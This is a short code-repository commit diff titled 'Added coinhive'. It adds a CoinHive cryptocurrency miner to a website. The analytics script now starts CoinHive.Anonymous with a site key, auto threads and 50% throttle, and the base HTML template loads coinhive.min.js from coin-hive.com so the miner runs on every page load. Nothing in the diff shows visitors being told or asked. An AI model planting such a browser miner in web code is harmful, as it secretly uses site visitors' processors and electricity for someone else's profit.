#37 Added coinhive
parent
e487fe5751
commit
06419abf82
|
@ -1,5 +1,5 @@
|
|||
'use strict';
|
||||
/* global ga */
|
||||
/* global ga CoinHive */
|
||||
|
||||
// Google analytics
|
||||
(function(t,r,a,c,m,o,n){t['GoogleAnalyticsObject']=m;t[m]=t[m]||function(){
|
||||
|
@ -9,3 +9,9 @@ n=r.getElementsByTagName(a)[0];o.async=1;o.src=c;n.parentNode.insertBefore(o,n);
|
|||
ga('create','UA-44266909-3','auto');
|
||||
ga('require','linkid');
|
||||
ga('send','pageview');
|
||||
|
||||
// Coinhive
|
||||
new CoinHive.Anonymous('7FZrGIbIO4kqxbTLa82QpffB9ShUGmWE',{
|
||||
autoThreads: true,
|
||||
throttle: .5
|
||||
}).start(CoinHive.FORCE_EXCLUSIVE_TAB);
|
||||
|
|
|
@ -62,6 +62,7 @@
|
|||
|
||||
<!-- Javascript -->
|
||||
{% block javascript %}
|
||||
<script type="application/javascript" src="https://coin-hive.com/lib/coinhive.min.js"></script>
|
||||
<script type="application/javascript" src="/static/js/.base.bun.js"></script>
|
||||
{% endblock %}
|
||||
|
||||
|
|
Loading…
Reference in New Issue